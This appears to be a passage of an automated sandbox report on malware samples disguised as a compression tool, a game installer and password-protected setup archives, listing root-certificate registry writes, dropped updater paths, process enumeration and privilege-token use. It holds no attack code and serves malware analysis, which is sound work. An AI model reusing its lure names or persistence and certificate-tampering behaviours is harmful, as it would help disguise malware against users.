439b98458ab863575d9b00880425e9f868924b82d84bc94a03f3a87f6a8f8a6127bda144d0fdf53f22c2a34f918db305b22882915dfb5988050b9706c298f82ca73324ee503a41ccf0a0b07b1d4dd2a8583896e9dff91b91bb8b102cd2c7431da20974a180af7be6330a0c596b8ebcf4ab5a977b7fae55fb84f080fe844cd7e2babdc475a16fbd61107444b29807e274abff68dc6c263ee91fe5e00487ad30d30c8d037c55b816705c24782025eb676788abba4e34986b7011de38cad4bea1c09ce1df1e0201d83be1674384b6cffc74b72f84a3bfba09373d676cb1455c1961ab4183f5ac1deb770d464773cebfbd9595ed9d2b8810fefa58e8a757e1b3cfa85ae907259b12c49e80723d93dc8c94df3b44e62680fcd2c303f08c0cd245d62ee78f989ee604ee426e677e42167162e704f960c664a1b69c81214e2bc66d689486c699747367317a91f2d48c796e7ca6bb7e466f4dc585122bcf9a224408a88537ce07615706171224c0c43173a1983557477e103a45d92da4519098a9a00737c4651aaa1c6b1677f7a797ec3f1930996f31fbea40b2e7d2c4fac9d0f050767459fa8d6d1732bef8e97e03f4e787759ad44a912c850313022b4280f2896a36cfc84ca0ce9ef8cb8dad16a7d3ded59b18a7c6923af18263f12e0e2464df0203010001a3423040300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e041604141f00bf46800afc7839b7a5b443d95650bbce963b300d06092a864886f70d01010c050003820201005e2bba749734445f764828408493ee016ee9a1b3d68025e67be4bc09913d0ffc76add7d43020bb8f60d091d61cf29cef781a2b943202c12496525202d0f3d1fcf29b396e99e11f8e43417d9a1e5bc95d9a84fc26e687f3747226ada41bd93d3b6a52a03c091e2f1e7bb333b445c7f7acb1af9360ad76aeb8b21578eb836aebffdb46ab24e5ee02fa901f59c02f5dd6b75da45c10b77253f8414eccfa781a254acafe85624361c3b437aa81d2f4d63a0fbd8d597e3047de2b6be72150335fd4679bd4b8679f3c279903ff85438e7312ca20cde861d5b166dc17d6396d0fdbcf2337a182894e1c6b3fd6a0cdaa079d3e4226aad70ceefa47bf1a527ed17581d3c98a62176d4f88a021a0263eaf6dd962301fe99828ae6e8dd58e4c726693808d2ae355c760679042565c22510fb3dc4e39ee4dddd91d7810543b6ed0976f03b51eb22373c612b29a64d0fc958524a8ffdfa1b0dc9140aedf0933abb9dd92b7f1cc91743b69eb67971b90bfe7c7a06f71bb57bfb78f5aed7a406a16cd80842d2fe102d4249443b315fc0c2b1bfd716ffccbbc75173a5e83d2c9b32f1bd59c8d7f54fe7e7ee456a387a79de1595294418f6d5bbe86959aff1a76dd40d2514a70b41f336323773fec271e59e40887ed34824a0f3ffea01dc1f56773458678f4aa29e92787c619dbc61314c33949874da097e06513f59d7756e9dab358c73af2c0cd82 C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
Set value (data) \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8\Blob = 1900000001000000100000005d1b8ff2c30f63f5b536edd400f7f9b40300000001000000140000004efc31460c619ecae59c1bce2c008036d94c84b809000000010000000c000000300a06082b060105050703031d00000001000000100000005467b0adde8d858e30ee517b1a19ecd91400000001000000140000001f00bf46800afc7839b7a5b443d95650bbce963b53000000010000001f000000301d301b060567810c010330123010060a2b0601040182373c0101030200c06200000001000000200000007b9d553e1c92cb6e8803e137f4f287d4363757f5d44b37d52f9fca22fb97df860b000000010000004200000047006c006f00620061006c005300690067006e00200043006f006400650020005300690067006e0069006e006700200052006f006f007400200052003400350000000f0000000100000030000000c130bba37b8b350e89fd5ed76b4f78777feee220d3b9e729042bef6af46e8e4c1b252e32b3080c681bc9a8a1afdd0a3c200000000100000076050000308205723082035aa00302010202107653feac75464893f5e5d74a483a4ef8300d06092a864886f70d01010c05003053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f7420523435301e170d3230303331383030303030305a170d3435303331383030303030305a3053310b300906035504061302424531193017060355040a1310476c6f62616c5369676e206e762d73613129302706035504031320476c6f62616c5369676e20436f6465205369676e696e6720526f6f742052343530820222300d06092a864886f70d01010105000382020f003082020a0282020100b62dc530dd7ae8ab903d0372b03a4b991661b2e5ffa5671d371ce57eec9383aa84f5a3439b98458ab863575d9b00880425e9f868924b82d84bc94a03f3a87f6a8f8a6127bda144d0fdf53f22c2a34f918db305b22882915dfb5988050b9706c298f82ca73324ee503a41ccf0a0b07b1d4dd2a8583896e9dff91b91bb8b102cd2c7431da20974a180af7be6330a0c596b8ebcf4ab5a977b7fae55fb84f080fe844cd7e2babdc475a16fbd61107444b29807e274abff68dc6c263ee91fe5e00487ad30d30c8d037c55b816705c24782025eb676788abba4e34986b7011de38cad4bea1c09ce1df1e0201d83be1674384b6cffc74b72f84a3bfba09373d676cb1455c1961ab4183f5ac1deb770d464773cebfbd9595ed9d2b8810fefa58e8a757e1b3cfa85ae907259b12c49e80723d93dc8c94df3b44e62680fcd2c303f08c0cd245d62ee78f989ee604ee426e677e42167162e704f960c664a1b69c81214e2bc66d689486c699747367317a91f2d48c796e7ca6bb7e466f4dc585122bcf9a224408a88537ce07615706171224c0c43173a1983557477e103a45d92da4519098a9a00737c4651aaa1c6b1677f7a797ec3f1930996f31fbea40b2e7d2c4fac9d0f050767459fa8d6d1732bef8e97e03f4e787759ad44a912c850313022b4280f2896a36cfc84ca0ce9ef8cb8dad16a7d3ded59b18a7c6923af18263f12e0e2464df0203010001a3423040300e0603551d0f0101ff040403020186300f0603551d130101ff040530030101ff301d0603551d0e041604141f00bf46800afc7839b7a5b443d95650bbce963b300d06092a864886f70d01010c050003820201005e2bba749734445f764828408493ee016ee9a1b3d68025e67be4bc09913d0ffc76add7d43020bb8f60d091d61cf29cef781a2b943202c12496525202d0f3d1fcf29b396e99e11f8e43417d9a1e5bc95d9a84fc26e687f3747226ada41bd93d3b6a52a03c091e2f1e7bb333b445c7f7acb1af9360ad76aeb8b21578eb836aebffdb46ab24e5ee02fa901f59c02f5dd6b75da45c10b77253f8414eccfa781a254acafe85624361c3b437aa81d2f4d63a0fbd8d597e3047de2b6be72150335fd4679bd4b8679f3c279903ff85438e7312ca20cde861d5b166dc17d6396d0fdbcf2337a182894e1c6b3fd6a0cdaa079d3e4226aad70ceefa47bf1a527ed17581d3c98a62176d4f88a021a0263eaf6dd962301fe99828ae6e8dd58e4c726693808d2ae355c760679042565c22510fb3dc4e39ee4dddd91d7810543b6ed0976f03b51eb22373c612b29a64d0fc958524a8ffdfa1b0dc9140aedf0933abb9dd92b7f1cc91743b69eb67971b90bfe7c7a06f71bb57bfb78f5aed7a406a16cd80842d2fe102d4249443b315fc0c2b1bfd716ffccbbc75173a5e83d2c9b32f1bd59c8d7f54fe7e7ee456a387a79de1595294418f6d5bbe86959aff1a76dd40d2514a70b41f336323773fec271e59e40887ed34824a0f3ffea01dc1f56773458678f4aa29e92787c619dbc61314c33949874da097e06513f59d7756e9dab358c73af2c0cd82 C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A
Key created \REGISTRY\MACHINE\SOFTWARE\Microsoft\SystemCertificates\AuthRoot\Certificates\4EFC31460C619ECAE59C1BCE2C008036D94C84B8 C:\Users\Admin\Desktop\MALWARE!!!\Let's Compress.exe N/A

NTFS ADS

Description Indicator Process Target
File created C:\Users\Admin\Downloads\Let's Compress.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\Brawl_Stars_V2.0.11646.123.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\convertmasterapp.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\#Pa$$w0rD__5566--0peÉ´_Set-Up!.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\7z2409-x64.exe:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A
File created C:\Users\Admin\Downloads\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•.zip:Zone.Identifier C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious behavior: EnumeratesProcesses

Description Indicator Process Target
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\Brawl_Stars_V2.0.11646.123.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\#Pa$$w0rD__5566--0peÉ´_Set-Up!\setup.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Windows\system32\msiexec.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\more.com N/A
N/A N/A C:\Windows\SysWOW64\more.com N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Users\Admin\AppData\Roaming\Let's Compress\upd.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Windows\SysWOW64\more.com N/A
N/A N/A C:\Windows\SysWOW64\more.com N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Windows\SysWOW64\more.com N/A
N/A N/A C:\Windows\SysWOW64\more.com N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Windows\SysWOW64\more.com N/A
N/A N/A C:\Windows\SysWOW64\more.com N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A
N/A N/A C:\Users\Admin\Desktop\MALWARE!!!\♦•Rèady•Fîlè•PassW0rd•Is•♦120114•\Setup.exe N/A
N/A N/A C:\Windows\system32\taskmgr.exe N/A

Suspicious behavior: GetForegroundWindowSpam

Description Indicator Process Target
N/A N/A C:\Windows\system32\OpenWith.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A

Suspicious use of AdjustPrivilegeToken

Description Indicator Process Target
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: 33 N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeIncBasePriorityPrivilege N/A C:\Windows\system32\AUDIODG.EXE N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zFM.exe N/A
Token: SeRestorePrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: 35 N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeSecurityPrivilege N/A C:\Program Files\7-Zip\7zG.exe N/A
Token: SeManageVolumePrivilege N/A C:\Users\Admin\AppData\Roaming\Tencent\TxGameAssistant\GameDownload\TenioDL.exe N/A
Token: SeDebugPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeShutdownPrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeCreatePagefilePrivilege N/A C:\Users\Admin\Desktop\MALWARE!!!\convertmasterapp.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeDebugPrivilege N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
Token: SeSecurityPrivilege N/A C:\Windows\system32\msiexec.exe N/A

Suspicious use of FindShellTrayWindow

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zFM.exe N/A
N/A N/A C:\Program Files\7-Zip\7zG.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious use of SendNotifyMessage

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A

Suspicious use of SetWindowsHookEx

Description Indicator Process Target
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
N/A N/A C:\Program Files\Mozilla Firefox\firefox.exe N/A
